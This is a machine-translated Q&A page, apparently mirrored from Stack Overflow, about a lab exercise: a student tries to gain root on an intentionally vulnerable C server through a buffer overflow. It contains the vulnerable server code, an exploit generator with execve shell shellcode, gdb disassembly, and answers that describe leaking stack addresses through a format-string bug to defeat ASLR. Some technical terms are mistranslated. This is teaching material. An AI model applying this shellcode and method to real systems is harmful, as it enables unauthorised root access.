簡體   English   中英

執行緩沖區溢出攻擊時如何找到返回地址

[英]How to find the Return Address when performing a Buffer Overflow Attack

更新:

現在我已經用 shellcode 地址覆蓋了返回地址,但是程序因為 Segmentation Fault 而崩潰了。

我使用信息框將返回地址 (eip) 定位在 0xbfffe58c 在此處輸入圖像描述

命令的起始地址是 0xbfffe520,我在里面有 shellcode。 但是,我已經將 0xbfffe58c 的值覆蓋為 shellcode 的地址,但是應用程序崩潰了。 在此處輸入圖像描述

我不確定我哪里做錯了......

======================================

最近在學習緩沖區溢出攻擊。 網上看了幾次教程,接到了這個小任務,要求我使用緩沖區溢出來獲取服務器的root權限。

下面是給定的代碼。

/* server.c  */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <sys/wait.h>

#define PORT 6060

int exec_command(int sock, char *buf) {

   char command[80];
   char *command_p=command;
   char *val0=0;
   char *val1=0;
   int status=10;
   close(STDOUT_FILENO);
   close(STDERR_FILENO);
   dup2(sock, STDOUT_FILENO);
   dup2(sock, STDERR_FILENO );
   sprintf(command_p, "%s",  buf);
   val1= strtok(command, "\n");
   char * argv_list[] = {"/bin/grep", "-i", val1, "notes", NULL};
   printf("You have provided: \n");
   printf(command);
    pid_t id = fork();
    if (id == -1) exit(1); 
    if (id > 0)
    { 
        waitpid(id, &status, 0);
        printf("\nTEST\n");
        return 0;
    } else {     
        if(execve("/bin/grep", argv_list, NULL)==0){
        return -1;    
        };
    }
}

void main()
{
    struct sockaddr_in server;
    struct sockaddr_in client;
    int clientLen;
    int sock,newsock;
    char buf[1500];
    pid_t pid,current = getpid();
    int ret_val;

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (sock < 0) {
        perror("Error opening socket");
        exit(1);
    }
    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = htons(PORT);

    ret_val = bind(sock, (struct sockaddr *) &server, sizeof(server)); 
    if (ret_val < 0) {
        perror("ERROR on binding");
    close(sock);
        exit(1);
    }


    while (1) {

        listen(sock, 5);
    clientLen = sizeof(client);
        newsock = accept(sock, (struct sockaddr *) &client, &clientLen);
        if (newsock < 0) {
            perror("Error on accept");
            exit(1);
        }
    bzero(buf, 1500);
    recvfrom(newsock, buf, 1500-1, 0, (struct sockaddr *) &client, &clientLen);
    printf("the buf: %s||\n",buf);
    exec_command(newsock, buf);
    //printf("the end\n");
    close(newsock);
             
    }
    close(sock);
}

我的方法是:

  1. 找到buf[buffer_size]的Memory地址
  2. 用 shellcode 覆蓋 buf[]
  3. 查找退貨地址
  4. 用 shellcode 地址覆蓋返回地址。

這是我的 exploit.c

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=   
  "\x31\xc0"             /* Line 1:  xorl    %eax,%eax              */
  "\x50"                 /* Line 2:  pushl   %eax                   */
  "\x68""//sh"           /* Line 3:  pushl   $0x68732f2f            */
  "\x68""/bin"           /* Line 4:  pushl   $0x6e69622f            */
  "\x89\xe3"             /* Line 5:  movl    %esp,%ebx              */
  "\x50"                 /* Line 6:  pushl   %eax                   */
  "\x53"                 /* Line 7:  pushl   %ebx                   */
  "\x89\xe1"             /* Line 8:  movl    %esp,%ecx              */
  "\x99"                 /* Line 9:  cdq                            */
  "\xb0\x0b"             /* Line 10: movb    $0x0b,%al              */
  "\xcd\x80"             /* Line 11: int     $0x80                  */
  ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,shellcode);           
    strcpy(buffer+0x265,"\x84\xe6\xff\xbf");        

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

我被要求填寫代碼以執行攻擊。 而且我也可以使用 gdb 來查找所需的地址。 下面是我填寫的。

    strcpy(buffer,shellcode);           
    strcpy(buffer+0x265,"\x84\xe6\xff\xbf");        

我可以通過在調試 server.c 時設置斷點來獲取 buf[] 的地址。

   b main
   p /x &buf

但我無法確定回信地址。 我嘗試使用 disass 查找 exec_function 的返回地址,因為我注意到它使用了存在溢出漏洞的 sprintf function。 但是我在閱讀 exec_function 的匯編語言時遇到問題。

 0x080487db <+0>:   push   ebp
   0x080487dc <+1>: mov    ebp,esp
   0x080487de <+3>: sub    esp,0x88
=> 0x080487e4 <+9>: lea    eax,[ebp-0x68]
   0x080487e7 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x080487ea <+15>:    mov    DWORD PTR [ebp-0x10],0x0
   0x080487f1 <+22>:    mov    DWORD PTR [ebp-0x14],0x0
   0x080487f8 <+29>:    mov    DWORD PTR [ebp-0x6c],0xa
   0x080487ff <+36>:    sub    esp,0xc
   0x08048802 <+39>:    push   0x1
   0x08048804 <+41>:    call   0x80486c0 <close@plt>
   0x08048809 <+46>:    add    esp,0x10
   0x0804880c <+49>:    sub    esp,0xc
   0x0804880f <+52>:    push   0x2
   0x08048811 <+54>:    call   0x80486c0 <close@plt>
   0x08048816 <+59>:    add    esp,0x10
   0x08048819 <+62>:    sub    esp,0x8
   0x0804881c <+65>:    push   0x1
   0x0804881e <+67>:    push   DWORD PTR [ebp+0x8]
   0x08048821 <+70>:    call   0x8048570 <dup2@plt>
   0x08048826 <+75>:    add    esp,0x10
   0x08048829 <+78>:    sub    esp,0x8
   0x0804882c <+81>:    push   0x2
   0x0804882e <+83>:    push   DWORD PTR [ebp+0x8]
   0x08048831 <+86>:    call   0x8048570 <dup2@plt>
   0x08048836 <+91>:    add    esp,0x10
   0x08048839 <+94>:    sub    esp,0x8
   0x0804883c <+97>:    push   DWORD PTR [ebp+0xc]
   0x0804883f <+100>:   push   DWORD PTR [ebp-0xc]
   0x08048842 <+103>:   call   0x80485f0 <strcpy@plt>
   0x08048847 <+108>:   add    esp,0x10
   0x0804884a <+111>:   sub    esp,0x8
   0x0804884d <+114>:   push   0x8048b30
   0x08048852 <+119>:   lea    eax,[ebp-0x68]
   0x08048855 <+122>:   push   eax
   0x08048856 <+123>:   call   0x8048670 <strtok@plt>
   0x0804885b <+128>:   add    esp,0x10
   0x0804885e <+131>:   mov    DWORD PTR [ebp-0x14],eax
   0x08048861 <+134>:   mov    DWORD PTR [ebp-0x80],0x8048b32
   0x08048868 <+141>:   mov    DWORD PTR [ebp-0x7c],0x8048b3c
   0x0804886f <+148>:   mov    eax,DWORD PTR [ebp-0x14]
   0x08048872 <+151>:   mov    DWORD PTR [ebp-0x78],eax
   0x08048875 <+154>:   mov    DWORD PTR [ebp-0x74],0x8048b3f
   0x0804887c <+161>:   mov    DWORD PTR [ebp-0x70],0x0
   0x08048883 <+168>:   sub    esp,0xc
   0x08048886 <+171>:   push   0x8048b45
   0x0804888b <+176>:   call   0x8048610 <puts@plt>
   0x08048890 <+181>:   add    esp,0x10
   0x08048893 <+184>:   sub    esp,0xc
   0x08048896 <+187>:   lea    eax,[ebp-0x68]
   0x08048899 <+190>:   push   eax
   0x0804889a <+191>:   call   0x8048580 <printf@plt>
   0x0804889f <+196>:   add    esp,0x10
   0x080488a2 <+199>:   call   0x8048680 <fork@plt>
   0x080488a7 <+204>:   mov    DWORD PTR [ebp-0x18],eax
   0x080488aa <+207>:   cmp    DWORD PTR [ebp-0x18],0xffffffff
   0x080488ae <+211>:   jne    0x80488ba <exec_command+223>
   0x080488b0 <+213>:   sub    esp,0xc
   0x080488b3 <+216>:   push   0x1
   0x080488b5 <+218>:   call   0x8048620 <exit@plt>
   0x080488ba <+223>:   cmp    DWORD PTR [ebp-0x18],0x0
   0x080488be <+227>:   jle    0x80488eb <exec_command+272>
   0x080488c0 <+229>:   sub    esp,0x4
   0x080488c3 <+232>:   push   0x0
   0x080488c5 <+234>:   lea    eax,[ebp-0x6c]
   0x080488c8 <+237>:   push   eax
   0x080488c9 <+238>:   push   DWORD PTR [ebp-0x18]
   0x080488cc <+241>:   call   0x80485e0 <waitpid@plt>
   0x080488d1 <+246>:   add    esp,0x10
   0x080488d4 <+249>:   sub    esp,0xc
   0x080488d7 <+252>:   push   0x8048b59
   0x080488dc <+257>:   call   0x8048610 <puts@plt>
   0x080488e1 <+262>:   add    esp,0x10
   0x080488e4 <+265>:   mov    eax,0x0
   0x080488e9 <+270>:   jmp    0x804890c <exec_command+305>
   0x080488eb <+272>:   sub    esp,0x4
   0x080488ee <+275>:   push   0x0
   0x080488f0 <+277>:   lea    eax,[ebp-0x80]
   0x080488f3 <+280>:   push   eax
   0x080488f4 <+281>:   push   0x8048b32
   0x080488f9 <+286>:   call   0x8048640 <execve@plt>
   0x080488fe <+291>:   add    esp,0x10
   0x08048901 <+294>:   test   eax,eax
   0x08048903 <+296>:   jne    0x804890c <exec_command+305>
   0x08048905 <+298>:   mov    eax,0xffffffff
   0x0804890a <+303>:   jmp    0x804890c <exec_command+305>
   0x0804890c <+305>:   leave  
   0x0804890d <+306>:   ret 

我如何識別回郵地址? 更一般地說,找到這樣一個地址的最佳做法是什么?

實際上你的代碼容易受到兩種不同的東西的影響。 格式字符串濫用和緩沖區溢出。

這是一個典型的練習,所以我的猜測是在您嘗試利用的機器上啟用了ASLR 這意味着每次執行/觸發易受攻擊的程序時,返回地址總是不同的。 因此,您將無法使用 GDB 預測返回地址。

由於格式字符串漏洞,這里的技巧是第一次運行exec_command function 以泄漏堆棧地址:

printf(command);

然后再次執行exec_command以利用您的 shellcode 的地址(根據先前泄露的地址 + 偏移量計算)覆蓋返回地址來利用緩沖區溢出。

您可以獲得指令指針 rip(或 32 位 cpu 中的 eip)並查看它的地址以獲得返回地址。

編譯您的程序並執行gdb yourExecutable
使用b lineOfYourCProgramToStop在您的 c 程序中創建一個斷點。
使用run firstArgumentIfAny secondArgumentIfAny...運行程序。
使用if查看堆棧幀信息並記下 rip 地址。
使用x/wx theAddressFromAbove theAddressFromAbove 查看返回地址 memory 內容。

右邊的地址是當前function的返回地址。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM